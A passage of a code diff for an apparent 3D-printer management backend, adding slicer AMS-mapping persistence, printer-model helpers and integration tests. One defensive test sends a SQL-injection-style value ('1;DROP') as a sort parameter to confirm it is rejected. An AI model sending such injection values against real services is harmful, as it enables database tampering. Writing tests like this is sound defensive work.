-        still ``pending`` (scheduler hasn't dispatched them yet).
+        ``nozzle_mapping`` + ``ams_mapping`` + workflow flags, but only
+        while the items are still ``pending`` (scheduler hasn't dispatched
+        them yet).
         """
         """
         if not self._session_factory:
         if not self._session_factory:
             return
             return
@@ -469,12 +527,34 @@ class VirtualPrinterInstance:
             if raw is not None:
             if raw is not None:
                 patch["nozzle_mapping"] = json.dumps(raw)
                 patch["nozzle_mapping"] = json.dumps(raw)
 
 
-        if not patch:
+        # Same two gates as the immediate path in `_add_to_print_queue`: a
+        # model-based VP has no live AMS layout for the slicer to have resolved
+        # tray IDs against, and taking the slicer's pick at all is the per-VP
+        # `save_ams_mapping` opt-in (it makes the scheduler skip
+        # `_compute_ams_mapping_for_printer`, and with it prefer-lowest and the
+        # #1766 backup gate).
+        ams_mapping_json = (
+            _extract_slicer_ams_mapping_json(data, f"[VP {self.name}] Late MQTT")
+            if self.target_printer_id is not None and self.save_ams_mapping
+            else None
+        )
+        # `Force color match` still wins for this dispatch — see the same
+        # decision in `_add_to_print_queue`. The archive patch below is
+        # deliberately not gated on it: persisting the pick for later reprints
+        # is exactly what the toggle promises.
+        if ams_mapping_json is not None and not self.queue_force_color_match:
+            patch["ams_mapping"] = ams_mapping_json
+
+        # `ams_mapping_json` alone is enough to keep going even when `patch` is
+        # empty: with `Force color match` on it never reaches the queue item,
+        # but it still has to be written onto the archive below.
+        if not patch and ams_mapping_json is None:
             self._recent_queue_items.pop(stash_key, None)
             self._recent_queue_items.pop(stash_key, None)
             return
             return
 
 
         from sqlalchemy import select, update
         from sqlalchemy import select, update
 
 
+        from backend.app.models.archive import PrintArchive
         from backend.app.models.print_queue import PrintQueueItem
         from backend.app.models.print_queue import PrintQueueItem
 
 
         try:
         try:
@@ -482,23 +562,49 @@ class VirtualPrinterInstance:
                 # Only stamp items still pending; once the scheduler has
                 # Only stamp items still pending; once the scheduler has
                 # picked the row up we can't safely race the dispatcher.
                 # picked the row up we can't safely race the dispatcher.
                 result = await db.execute(
                 result = await db.execute(
-                    select(PrintQueueItem.id).where(
+                    select(PrintQueueItem.id, PrintQueueItem.archive_id).where(
                         PrintQueueItem.id.in_(queue_item_ids),
                         PrintQueueItem.id.in_(queue_item_ids),
                         PrintQueueItem.status == "pending",
                         PrintQueueItem.status == "pending",
                     )
                     )
                 )
                 )
-                eligible_ids = [row[0] for row in result.all()]
+                rows = result.all()
+                eligible_ids = [row[0] for row in rows]
                 if not eligible_ids:
                 if not eligible_ids:
                     self._recent_queue_items.pop(stash_key, None)
                     self._recent_queue_items.pop(stash_key, None)
                     return
                     return
-                await db.execute(update(PrintQueueItem).where(PrintQueueItem.id.in_(eligible_ids)).values(**patch))
+                if patch:
+                    await db.execute(update(PrintQueueItem).where(PrintQueueItem.id.in_(eligible_ids)).values(**patch))
+
+                # The archive was already created (with no slicer_ams_mapping)
+                # before this late MQTT arrived — see
+                # `_extract_slicer_ams_mapping_json`'s docstring. Patch it here
+                # too so a reprint later still picks up the slicer's pick, and
+                # the "AMS mapping from slicer" badge reflects reality instead
+                # of staying stuck on the archive's initial (empty) snapshot.
+                # Already gated on `save_ams_mapping` above, and deliberately
+                # NOT on `queue_force_color_match`: that toggle decides how
+                # *this* print is matched, not whether the pick is worth
+                # keeping for a later reprint.
+                if ams_mapping_json is not None:
+                    archive_ids = {row[1] for row in rows if row[1] is not None}
+                    if archive_ids:
+                        archive_result = await db.execute(select(PrintArchive).where(PrintArchive.id.in_(archive_ids)))
+                        for archive in archive_result.scalars().all():
+                            extra = dict(archive.extra_data or {})
+                            extra["slicer_ams_mapping"] = {
+                                "mapping": json.loads(ams_mapping_json),
+                                "printer_id": self.target_printer_id,
+                            }
+                            archive.extra_data = extra
+
                 await db.commit()
                 await db.commit()
                 logger.info(
                 logger.info(
-                    "[VP %s] Late slicer MQTT for %s — retroactively stamped %s onto queue item(s) %s",
+                    "[VP %s] Late slicer MQTT for %s — retroactively stamped %s onto queue item(s) %s%s",
                     self.name,
                     self.name,
                     stash_key,
                     stash_key,
                     sorted(patch.keys()),
                     sorted(patch.keys()),
                     eligible_ids,
                     eligible_ids,
+                    " and saved the slicer's AMS pick onto the archive" if ams_mapping_json is not None else "",
                 )
                 )
         except Exception as e:
         except Exception as e:
             logger.error(
             logger.error(
@@ -834,6 +940,60 @@ class VirtualPrinterInstance:
                         if raw is not None:
                         if raw is not None:
                             nozzle_mapping_json = json.dumps(raw)
                             nozzle_mapping_json = json.dumps(raw)
 
 
+                # Slicer's own live-resolved AMS-slot pick (see docstring on
+                # `_extract_slicer_ams_mapping_json`). Stamped onto every plate
+                # below, same treatment as nozzle_mapping_json above — when
+                # present it makes `_ensure_ams_mapping` skip its own
+                # type/color re-derivation entirely and dispatch use exactly
+                # the tray the slicer/user picked.
+                #
+                # Two gates, both required:
+                #
+                # 1. This VP must target one fixed printer. A model-based
+                #    ("Any <model>") VP has no MQTT bridge to a real printer,
+                #    so the slicer has no live AMS layout to resolve tray IDs
+                #    against — whatever it sends here is meaningless (or,
+                #    worse, coincidentally valid for the wrong printer once
+                #    the scheduler later picks one).
+                # 2. The per-VP `save_ams_mapping` opt-in must be on. Taking
+                #    the slicer's pick means `_ensure_ams_mapping` returns
+                #    early and `_compute_ams_mapping_for_printer` never runs —
+                #    and that function is where `prefer_lowest_filament`, its
+                #    AMS-filament-backup gate (#1766) and the inventory-remain
+                #    overrides live. Honouring the slicer unconditionally would
+                #    silently retire all of that for every existing queue-mode
+                #    VP on upgrade, so it's opt-in like every other queue-mode
+                #    behaviour toggle (#2700 review).
+                #
+                # Either gate failing leaves it unset, and the scheduler's
+                # normal type/color re-derivation runs against whichever
+                # printer actually gets the job.
+                ams_mapping_json: str | None = None
+                if slicer_opts is not None and self.target_printer_id is not None and self.save_ams_mapping:
+                    ams_mapping_json = _extract_slicer_ams_mapping_json(slicer_opts, f"[VP {self.name}]")
+
+                # `Force color match` is the user asking Bambuddy to do the
+                # matching strictly, against the printer's live trays. Its only
+                # effect on a fixed-printer item is via the per-slot
+                # `filament_overrides` written below, which are consumed inside
+                # `_compute_ams_mapping_for_printer` — the exact function a
+                # stored mapping skips. So when both toggles are on, the
+                # explicit strictness wins for *this* dispatch and the slicer's
+                # pick is still persisted onto the archive for later reprints,
+                # which is what `Save AMS mapping` actually promises (#2700
+                # review).
+                queue_ams_mapping_json = ams_mapping_json
+                if queue_ams_mapping_json is not None and self.queue_force_color_match:
+                    logger.info(
+                        "[VP %s] Saved the slicer's AMS pick to the archive but not onto the queue item(s): "
+                        "'Force color match' is on, so the scheduler matches against live trays for this print.",
+                        self.name,
+                    )
+                    queue_ams_mapping_json = None
+
+                # Parsed once for the per-plate length check in the loop below.
+                queue_ams_mapping = json.loads(queue_ams_mapping_json) if queue_ams_mapping_json else None
+
                 service = ArchiveService(db)
                 service = ArchiveService(db)
                 archive = await service.archive_print(
                 archive = await service.archive_print(
                     printer_id=None,
                     printer_id=None,
@@ -844,6 +1004,14 @@ class VirtualPrinterInstance:
                         "source_ip": source_ip,
                         "source_ip": source_ip,
                     },
                     },
                     prefer_filename_for_name=prefer_filename,
                     prefer_filename_for_name=prefer_filename,
+                    # Slicer's own live AMS-slot pick -- promoted to
+                    # `extra_data.slicer_ams_mapping` by archive_print() so a
+                    # later reprint can reuse it. Already gated on the per-VP
+                    # `save_ams_mapping` opt-in above. Tagged with the printer
+                    # it was resolved against so a later reprint on a
+                    # *different* printer knows not to reuse it (#2700 review).
+                    slicer_ams_mapping=(json.loads(ams_mapping_json) if ams_mapping_json else None),
+                    slicer_ams_mapping_printer_id=self.target_printer_id,
                 )
                 )
                 if archive:
                 if archive:
                     logger.info("[VP %s] Archived: %s - %s", self.name, archive.id, archive.print_name)
                     logger.info("[VP %s] Archived: %s - %s", self.name, archive.id, archive.print_name)
@@ -925,6 +1093,31 @@ class VirtualPrinterInstance:
                                 if overrides:
                                 if overrides:
                                     filament_overrides_json = json.dumps(overrides)
                                     filament_overrides_json = json.dumps(overrides)
 
 
+                        # The slicer's mapping is indexed by the 3MF's own
+                        # file-global slot ids (position = slot_id - 1), so one
+                        # array covers every plate of a multi-plate Send All —
+                        # each plate just reads the entries for the slots it
+                        # actually prints. What must be checked is that it
+                        # reaches that far: a mapping shorter than this plate's
+                        # highest slot id can't address the plate's own slots,
+                        # and `_ensure_ams_mapping` would keep it anyway
+                        # because it only rejects an all-unresolved mapping. Fall
+                        # back to a computed mapping for that plate instead
+                        # (#2700 review).
+                        plate_ams_mapping_json = queue_ams_mapping_json
+                        if queue_ams_mapping is not None and requirements:
+                            max_slot_id = max((r.get("slot_id") or 0) for r in requirements)
+                            if max_slot_id > len(queue_ams_mapping):
+                                logger.warning(
+                                    "[VP %s] Slicer ams_mapping has %d entries but plate %s needs slot %d; "
+                                    "dropping it for this plate so the scheduler computes one from live AMS state.",
+                                    self.name,
+                                    len(queue_ams_mapping),
+                                    plate_id,
+                                    max_slot_id,
+                                )
+                                plate_ams_mapping_json = None
+
                         queue_item = PrintQueueItem(
                         queue_item = PrintQueueItem(
                             printer_id=self.target_printer_id,
                             printer_id=self.target_printer_id,
                             target_model=target_model,
                             target_model=target_model,
@@ -950,6 +1143,9 @@ class VirtualPrinterInstance:
                             # the same nozzle pick across plates rather than only the
                             # the same nozzle pick across plates rather than only the
                             # first one (mirrors the #1697 / #1188 per-plate loop fix).
                             # first one (mirrors the #1697 / #1188 per-plate loop fix).
                             nozzle_mapping=nozzle_mapping_json,
                             nozzle_mapping=nozzle_mapping_json,
+                            # Slicer's own live AMS-slot pick, when present —
+                            # see `_extract_slicer_ams_mapping_json`.
+                            ams_mapping=plate_ams_mapping_json,
                         )
                         )
                         db.add(queue_item)
                         db.add(queue_item)
                         await db.flush()  # populate queue_item.id before logging
                         await db.flush()  # populate queue_item.id before logging
@@ -1547,6 +1743,7 @@ class VirtualPrinterManager:
                 # instance silently keeps the old value until process
                 # instance silently keeps the old value until process
                 # restart (#1552 follow-up family).
                 # restart (#1552 follow-up family).
                 or instance.queue_force_color_match != vp.queue_force_color_match
                 or instance.queue_force_color_match != vp.queue_force_color_match
+                or instance.save_ams_mapping != vp.save_ams_mapping
                 or instance.gcode_injection != vp.gcode_injection
                 or instance.gcode_injection != vp.gcode_injection
                 or proxy_target_changed
                 or proxy_target_changed
             )
             )
@@ -1601,6 +1798,7 @@ class VirtualPrinterManager:
                     target_printer_id=vp.target_printer_id,
                     target_printer_id=vp.target_printer_id,
                     auto_dispatch=vp.auto_dispatch,
                     auto_dispatch=vp.auto_dispatch,
                     queue_force_color_match=vp.queue_force_color_match,
                     queue_force_color_match=vp.queue_force_color_match,
+                    save_ams_mapping=vp.save_ams_mapping,
                     gcode_injection=vp.gcode_injection,
                     gcode_injection=vp.gcode_injection,
                     bind_ip=vp.bind_ip or "",
                     bind_ip=vp.bind_ip or "",
                     remote_interface_ip=vp.remote_interface_ip or "",
                     remote_interface_ip=vp.remote_interface_ip or "",

+ 59 - 0
backend/app/utils/printer_models.py

@@ -116,6 +116,28 @@ LINEAR_RAIL_MODELS = frozenset(
 )
 )
 
 
 
 
+# Models sold with a single nozzle flow variant, so a Standard / High Flow
+# choice on a K-profile is meaningless there. Derived from the slicer's own
+# rule (len(nozzle_volume) // len(nozzle_diameter) > 1 over the bundled Bambu
+# machine presets), not from nozzle count — P1P/P1S/P2S/X1/X1C/X1E/H2S are
+# single-nozzle and all carry two variants. Only the A-series has one.
+SINGLE_NOZZLE_FLOW_MODELS = frozenset(
+    [
+        # Display names (uppercase, no spaces)
+        "A1",
+        "A1MINI",
+        "A2L",
+        # Internal codes
+        "N1",  # A1 Mini
+        "N2S",  # A1
+        "N9",  # A2L
+        "A04",  # A1 Mini (alternate)
+        "A11",  # A1
+        "A12",  # A1 Mini
+    ]
+)
+
+
 # Models without any external storage (MicroSD / SD card slot).
 # Models without any external storage (MicroSD / SD card slot).
 # The A1 and A1 Mini ship with internal storage only — there is no
 # The A1 and A1 Mini ship with internal storage only — there is no
 # firmware-side "Store sent files on external storage" toggle and no
 # firmware-side "Store sent files on external storage" toggle and no
@@ -242,6 +264,16 @@ def uses_exhaust_fan_label(model: str | None) -> bool:
     return normalized in EXHAUST_FAN_LABEL_MODELS
     return normalized in EXHAUST_FAN_LABEL_MODELS
 
 
 
 
+# Ceiling for every chamber-temperature target the UI and API accept (manual
+# M141, the preheat filament map, the per-item preheat override, the chamber
+# quick-select presets). The H2 series (H2C / H2D / H2D Pro / H2S) and X2D
+# heat the chamber to 65 °C; X1E tops out at 60. We validate against the
+# highest of those and let the firmware clamp on the lower-ceiling models —
+# the preheat filament map is global rather than per printer, so a per-model
+# maximum could not be expressed there anyway.
+MAX_CHAMBER_TEMP_C = 65
+
+
 def has_ethernet(model: str | None) -> bool:
 def has_ethernet(model: str | None) -> bool:
     """Return True if the printer model has an ethernet port."""
     """Return True if the printer model has an ethernet port."""
     if not model:
     if not model:
@@ -290,6 +322,33 @@ def is_dual_nozzle_model(model: str | None) -> bool:
     return normalized in DUAL_NOZZLE_MODELS
     return normalized in DUAL_NOZZLE_MODELS
 
 
 
 
+def supports_nozzle_flow_type(model: str | None) -> bool:
+    """Return True if the model offers a Standard / High Flow nozzle choice.
+
+    A K-profile is filed under a ``nozzle_id`` of the form ``HS00-0.4``
+    (Standard) or ``HH00-0.4`` (High Flow), so the flow type is part of the
+    profile's identity on any printer where both exist — and meaningless noise
+    on one where only a single variant is sold.
+
+    The split is NOT the nozzle count: P1S, P2S, X1C and H2S are single-nozzle
+    and all offer both flows. BambuStudio/OrcaSlicer derive the same capability
+    from the machine preset — ``support_nozzle_volume()`` is
+    ``len(nozzle_volume) // len(nozzle_diameter) > 1`` — and every bundled
+    Bambu profile evaluated against that formula puts only the A-series on the
+    "one variant" side (A1 and A1 Mini at 1, A2L at 1; everything from P1P
+    upward at 2 or more per extruder).
+
+    Defaults to True for unknown models: offering the choice on a printer that
+    turns out to have one flow type costs the user a redundant dropdown, while
+    hiding it on one that has two makes half its calibration table
+    unreachable.
+    """
+    if not model:
+        return True
+    normalized = model.strip().upper().replace(" ", "").replace("-", "")
+    return normalized not in SINGLE_NOZZLE_FLOW_MODELS
+
+
 def get_rod_type(model: str | None) -> str | None:
 def get_rod_type(model: str | None) -> str | None:
     """Return the rod/rail type for a printer model.
     """Return the rod/rail type for a printer model.
 
 

+ 242 - 0
backend/tests/integration/test_archives_api.py

@@ -4,6 +4,7 @@ Tests the full request/response cycle for /api/v1/archives/ endpoints.
 """
 """
 
 
 from pathlib import Path
 from pathlib import Path
+from unittest.mock import AsyncMock, patch
 
 
 import pytest
 import pytest
 from httpx import AsyncClient
 from httpx import AsyncClient
@@ -12,6 +13,122 @@ from httpx import AsyncClient
 class TestArchivesAPI:
 class TestArchivesAPI:
     """Integration tests for /api/v1/archives/ endpoints."""
     """Integration tests for /api/v1/archives/ endpoints."""
 
 
+    # ========================================================================
+    # Upload endpoint
+    # ========================================================================
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    @pytest.mark.parametrize("prefer_filename_for_name", [True, False])
+    async def test_upload_archive_forwards_prefer_filename_for_name(
+        self, async_client: AsyncClient, archive_factory, printer_factory, prefer_filename_for_name
+    ):
+        """POST /archives/upload must forward prefer_filename_for_name to
+        ArchiveService.archive_print unchanged — this flag lets a caller (e.g.
+        the manual upload UI or an external integration) ask for the uploaded
+        filename to win over the 3MF's embedded print_name (#1152 follow-up:
+        the flag existed on the service but wasn't exposed on this route).
+
+        archive_print is mocked (real 3MF metadata extraction isn't under test
+        here) but its return value is a real PrintArchive row from the
+        factory, so ArchiveResponse.model_validate in the route still exercises
+        real serialization instead of masking a broken response behind a bare
+        MagicMock.
+        """
+        printer = await printer_factory()
+        archive = await archive_factory(printer.id, print_name="Mocked Return Archive")
+        archive_print_mock = AsyncMock(return_value=archive)
+
+        files = {"file": ("My Print (final).gcode.3mf", b"PK\x03\x04fake3mf", "application/octet-stream")}
+        params = {"prefer_filename_for_name": prefer_filename_for_name}
+
+        with patch(
+            "backend.app.api.routes.archives.ArchiveService.archive_print",
+            archive_print_mock,
+        ):
+            response = await async_client.post("/api/v1/archives/upload", files=files, params=params)
+
+        assert response.status_code == 200
+        assert archive_print_mock.await_count == 1
+        kwargs = archive_print_mock.await_args.kwargs
+        assert kwargs.get("prefer_filename_for_name") is prefer_filename_for_name
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_upload_archive_defaults_prefer_filename_for_name_false(
+        self, async_client: AsyncClient, archive_factory, printer_factory
+    ):
+        """Omitting the query param must not change existing behavior for
+        callers that predate this flag."""
+        printer = await printer_factory()
+        archive = await archive_factory(printer.id, print_name="Mocked Return Archive")
+        archive_print_mock = AsyncMock(return_value=archive)
+
+        files = {"file": ("existing-caller.gcode.3mf", b"PK\x03\x04fake3mf", "application/octet-stream")}
+
+        with patch(
+            "backend.app.api.routes.archives.ArchiveService.archive_print",
+            archive_print_mock,
+        ):
+            response = await async_client.post("/api/v1/archives/upload", files=files)
+
+        assert response.status_code == 200
+        kwargs = archive_print_mock.await_args.kwargs
+        assert kwargs.get("prefer_filename_for_name") is False
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    @pytest.mark.parametrize("prefer_filename_for_name", [True, False])
+    async def test_upload_archives_bulk_forwards_prefer_filename_for_name(
+        self, async_client: AsyncClient, archive_factory, printer_factory, prefer_filename_for_name
+    ):
+        """POST /archives/upload-bulk must forward prefer_filename_for_name to
+        ArchiveService.archive_print for every file in the batch, keeping this
+        route consistent with the single-file /archives/upload endpoint."""
+        printer = await printer_factory()
+        archive = await archive_factory(printer.id, print_name="Mocked Return Archive")
+        archive_print_mock = AsyncMock(return_value=archive)
+
+        files = [
+            ("files", ("first.gcode.3mf", b"PK\x03\x04fake3mf", "application/octet-stream")),
+            ("files", ("second.gcode.3mf", b"PK\x03\x04fake3mf", "application/octet-stream")),
+        ]
+        params = {"prefer_filename_for_name": prefer_filename_for_name}
+
+        with patch(
+            "backend.app.api.routes.archives.ArchiveService.archive_print",
+            archive_print_mock,
+        ):
+            response = await async_client.post("/api/v1/archives/upload-bulk", files=files, params=params)
+
+        assert response.status_code == 200
+        assert archive_print_mock.await_count == 2
+        for call in archive_print_mock.await_args_list:
+            assert call.kwargs.get("prefer_filename_for_name") is prefer_filename_for_name
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_upload_archives_bulk_defaults_prefer_filename_for_name_false(
+        self, async_client: AsyncClient, archive_factory, printer_factory
+    ):
+        """Omitting the query param on the bulk route must not change existing
+        behavior for callers that predate this flag."""
+        printer = await printer_factory()
+        archive = await archive_factory(printer.id, print_name="Mocked Return Archive")
+        archive_print_mock = AsyncMock(return_value=archive)
+
+        files = [("files", ("existing-caller.gcode.3mf", b"PK\x03\x04fake3mf", "application/octet-stream"))]
+
+        with patch(
+            "backend.app.api.routes.archives.ArchiveService.archive_print",
+            archive_print_mock,
+        ):
+            response = await async_client.post("/api/v1/archives/upload-bulk", files=files)
+
+        assert response.status_code == 200
+        kwargs = archive_print_mock.await_args.kwargs
+        assert kwargs.get("prefer_filename_for_name") is False
+
     # ========================================================================
     # ========================================================================
     # List endpoints
     # List endpoints
     # ========================================================================
     # ========================================================================
@@ -1835,3 +1952,128 @@ class TestSoftDeletedArchivesAreExcluded:
 
 
         assert response.status_code == 200
         assert response.status_code == 200
         assert response.json()["failed_prints"] == 1
         assert response.json()["failed_prints"] == 1
+
+
+class TestPrintLogSorting:
+    """#2636: the Print Log's column headers sort the whole log.
+
+    Sorting is server-side because paging is: ordering the rows the browser
+    happens to hold would answer "the most expensive print on this page",
+    not "the most expensive print". These pin the ordering contract the
+    headers depend on, including the two cases that differ per database
+    backend or per query plan if left implicit.
+    """
+
+    @staticmethod
+    async def _seed(db_session, printer_id: int, rows: list[dict]):
+        from datetime import datetime
+
+        from backend.app.models.print_log import PrintLogEntry
+
+        created = []
+        for i, row in enumerate(rows):
+            entry = PrintLogEntry(
+                printer_id=printer_id,
+                status=row.get("status", "completed"),
+                print_name=row.get("print_name", f"job-{i}"),
+                started_at=datetime(2026, 1, 1 + i, 12, 0, 0),
+                created_at=datetime(2026, 1, 1 + i, 12, 0, 0),
+                filament_used_grams=row.get("grams"),
+                cost=row.get("cost"),
+                energy_kwh=row.get("kwh"),
+            )
+            db_session.add(entry)
+            created.append(entry)
+        await db_session.commit()
+        return created
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_sorts_by_filament_used_in_both_directions(
+        self, async_client: AsyncClient, printer_factory, db_session
+    ):
+        printer = await printer_factory()
+        await self._seed(
+            db_session,
+            printer.id,
+            [{"grams": 5.0}, {"grams": 120.0}, {"grams": 30.0}],
+        )
+
+        asc = await async_client.get("/api/v1/print-log/?sort_by=filament_used&sort_dir=asc")
+        assert asc.status_code == 200
+        assert [e["filament_used_grams"] for e in asc.json()["items"]] == [5.0, 30.0, 120.0]
+
+        desc = await async_client.get("/api/v1/print-log/?sort_by=filament_used&sort_dir=desc")
+        assert [e["filament_used_grams"] for e in desc.json()["items"]] == [120.0, 30.0, 5.0]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_empty_values_sort_last_whichever_direction(
+        self, async_client: AsyncClient, printer_factory, db_session
+    ):
+        """Cost is NULL until a spool is priced and energy until a smart plug
+        reports, so these columns are half-empty for most people. Postgres
+        sorts NULLs high and SQLite sorts them low, so without an explicit
+        NULLS LAST the same click gives a different first page depending on
+        which database the user deployed — and on one of them, a screenful
+        of blanks."""
+        printer = await printer_factory()
+        await self._seed(
+            db_session,
+            printer.id,
+            [{"cost": None}, {"cost": 2.5}, {"cost": None}, {"cost": 0.75}],
+        )
+
+        for direction, expected in (("asc", [0.75, 2.5]), ("desc", [2.5, 0.75])):
+            resp = await async_client.get(f"/api/v1/print-log/?sort_by=cost&sort_dir={direction}")
+            costs = [e["cost"] for e in resp.json()["items"]]
+            assert costs[:2] == expected, (direction, costs)
+            assert costs[2:] == [None, None], (direction, costs)
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_ties_are_broken_stably_across_pages(self, async_client: AsyncClient, printer_factory, db_session):
+        """Sorting by a column where every row shares a value (status) leaves
+        the order to the planner unless a tiebreaker is added — and an
+        unstable order can show the same row on two pages while another never
+        appears at all."""
+        printer = await printer_factory()
+        await self._seed(db_session, printer.id, [{"status": "completed"} for _ in range(6)])
+
+        first = await async_client.get("/api/v1/print-log/?sort_by=status&sort_dir=asc&limit=3&offset=0")
+        second = await async_client.get("/api/v1/print-log/?sort_by=status&sort_dir=asc&limit=3&offset=3")
+        page_1 = [e["id"] for e in first.json()["items"]]
+        page_2 = [e["id"] for e in second.json()["items"]]
+
+        assert len(set(page_1) & set(page_2)) == 0, "a row appeared on both pages"
+        assert len(set(page_1) | set(page_2)) == 6, "a row was never returned"
+        # Repeating the same request must give the same page back.
+        again = await async_client.get("/api/v1/print-log/?sort_by=status&sort_dir=asc&limit=3&offset=0")
+        assert [e["id"] for e in again.json()["items"]] == page_1
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_unknown_sort_column_is_rejected(self, async_client: AsyncClient):
+        """The client picks the sort key, so the column list is a whitelist —
+        anything else would let a request order by any attribute it can name."""
+        resp = await async_client.get("/api/v1/print-log/?sort_by=created_by_id")
+        assert resp.status_code == 400
+        resp = await async_client.get("/api/v1/print-log/?sort_by=1;DROP")
+        assert resp.status_code == 400
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_invalid_direction_is_rejected(self, async_client: AsyncClient):
+        resp = await async_client.get("/api/v1/print-log/?sort_by=date&sort_dir=sideways")
+        assert resp.status_code == 422
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_defaults_to_newest_first(self, async_client: AsyncClient, printer_factory, db_session):
+        """No sort params — the pre-#2636 behaviour, which existing clients
+        and the first page load both rely on."""
+        printer = await printer_factory()
+        await self._seed(db_session, printer.id, [{"print_name": "oldest"}, {"print_name": "newest"}])
+
+        resp = await async_client.get("/api/v1/print-log/")
+        assert [e["print_name"] for e in resp.json()["items"]] == ["newest", "oldest"]

+ 317 - 0
backend/tests/integration/test_ha_sensors_api_1148.py

@@ -0,0 +1,317 @@
+"""Integration tests for the printer-bound Home Assistant sensor API (#1148)."""
+
+from unittest.mock import AsyncMock, patch
+
+import pytest
+from httpx import AsyncClient
+
+from backend.app.services.ha_sensor_manager import SensorReading, ha_sensor_manager
+
+DOOR = {
+    "name": "Enclosure Door",
+    "entity_id": "binary_sensor.enclosure_door",
+    "kind": "binary",
+    "device_class": "door",
+    "alert_state": "on",
+}
+TEMP = {
+    "name": "Enclosure Temp",
+    "entity_id": "sensor.enclosure_temp",
+    "kind": "numeric",
+    "device_class": "temperature",
+    "unit": "°C",
+}
+
+
+@pytest.fixture(autouse=True)
+def _no_live_ha():
+    """Creating or editing a sensor reads it once; keep that off the network."""
+    with patch.object(ha_sensor_manager, "refresh_one", AsyncMock()):
+        yield
+
+
+@pytest.fixture(autouse=True)
+def _clean_cache():
+    yield
+    ha_sensor_manager._readings.clear()
+    ha_sensor_manager._last_alerting.clear()
+
+
+class TestCrud:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_bind_a_door_contact(self, async_client: AsyncClient, printer_factory):
+        printer = await printer_factory()
+
+        response = await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+
+        assert response.status_code == 200
+        body = response.json()
+        assert body["entity_id"] == "binary_sensor.enclosure_door"
+        assert body["kind"] == "binary"
+        assert body["show_on_printer_card"] is True
+        # Display-only until the user opts in.
+        assert body["block_print"] is False
+        assert body["notify_on_alert"] is False
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_a_switch(self, async_client: AsyncClient, printer_factory):
+        """Switches are smart plugs; this table is read-only sensors."""
+        printer = await printer_factory()
+
+        response = await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**DOOR, "printer_id": printer.id, "entity_id": "switch.printer_plug"},
+        )
+
+        assert response.status_code == 422
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_a_kind_that_contradicts_the_entity(self, async_client: AsyncClient, printer_factory):
+        printer = await printer_factory()
+
+        response = await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**TEMP, "printer_id": printer.id, "kind": "binary"},
+        )
+
+        assert response.status_code == 422
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_an_interlock_with_nothing_to_trigger_on(self, async_client: AsyncClient, printer_factory):
+        """block_print without an alert condition would never fire — that reads
+        as a broken setting, not as a no-op."""
+        printer = await printer_factory()
+
+        response = await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**DOOR, "printer_id": printer.id, "alert_state": None, "block_print": True},
+        )
+
+        assert response.status_code == 422
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_a_duplicate_binding(self, async_client: AsyncClient, printer_factory):
+        printer = await printer_factory()
+        payload = {**DOOR, "printer_id": printer.id}
+        await async_client.post("/api/v1/ha-sensors/", json=payload)
+
+        response = await async_client.post("/api/v1/ha-sensors/", json=payload)
+
+        assert response.status_code == 400
+        assert "already bound" in response.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_an_unknown_printer(self, async_client: AsyncClient):
+        response = await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": 9999})
+
+        assert response.status_code == 404
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_patch_revalidates_against_the_stored_row(self, async_client: AsyncClient, printer_factory):
+        """The payload carries only block_print, so the coherence rule has to be
+        re-run against the merged row, not against the patch alone."""
+        printer = await printer_factory()
+        created = await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**DOOR, "printer_id": printer.id, "alert_state": None},
+        )
+        sensor_id = created.json()["id"]
+
+        response = await async_client.patch(f"/api/v1/ha-sensors/{sensor_id}", json={"block_print": True})
+
+        assert response.status_code == 422
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_patch_accepts_a_coherent_change(self, async_client: AsyncClient, printer_factory):
+        printer = await printer_factory()
+        created = await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+        sensor_id = created.json()["id"]
+
+        response = await async_client.patch(
+            f"/api/v1/ha-sensors/{sensor_id}",
+            json={"block_print": True, "notify_on_alert": True, "name": "Front Door"},
+        )
+
+        assert response.status_code == 200
+        assert response.json()["block_print"] is True
+        assert response.json()["name"] == "Front Door"
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_delete_drops_the_cached_reading(self, async_client: AsyncClient, printer_factory):
+        """Otherwise a later sensor reusing the id inherits this one's state."""
+        printer = await printer_factory()
+        created = await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+        sensor_id = created.json()["id"]
+        ha_sensor_manager._readings[sensor_id] = SensorReading("on", None, True, True)
+
+        response = await async_client.delete(f"/api/v1/ha-sensors/{sensor_id}")
+
+        assert response.status_code == 200
+        assert ha_sensor_manager.get_reading(sensor_id) is None
+
+
+class TestReadings:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_serves_the_cached_reading(self, async_client: AsyncClient, printer_factory):
+        printer = await printer_factory()
+        created = await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**TEMP, "printer_id": printer.id, "alert_above": 35},
+        )
+        sensor_id = created.json()["id"]
+        ha_sensor_manager._readings[sensor_id] = SensorReading("41.2", 41.2, True, True)
+
+        response = await async_client.get(f"/api/v1/ha-sensors/by-printer/{printer.id}/readings")
+
+        assert response.status_code == 200
+        reading = response.json()[0]
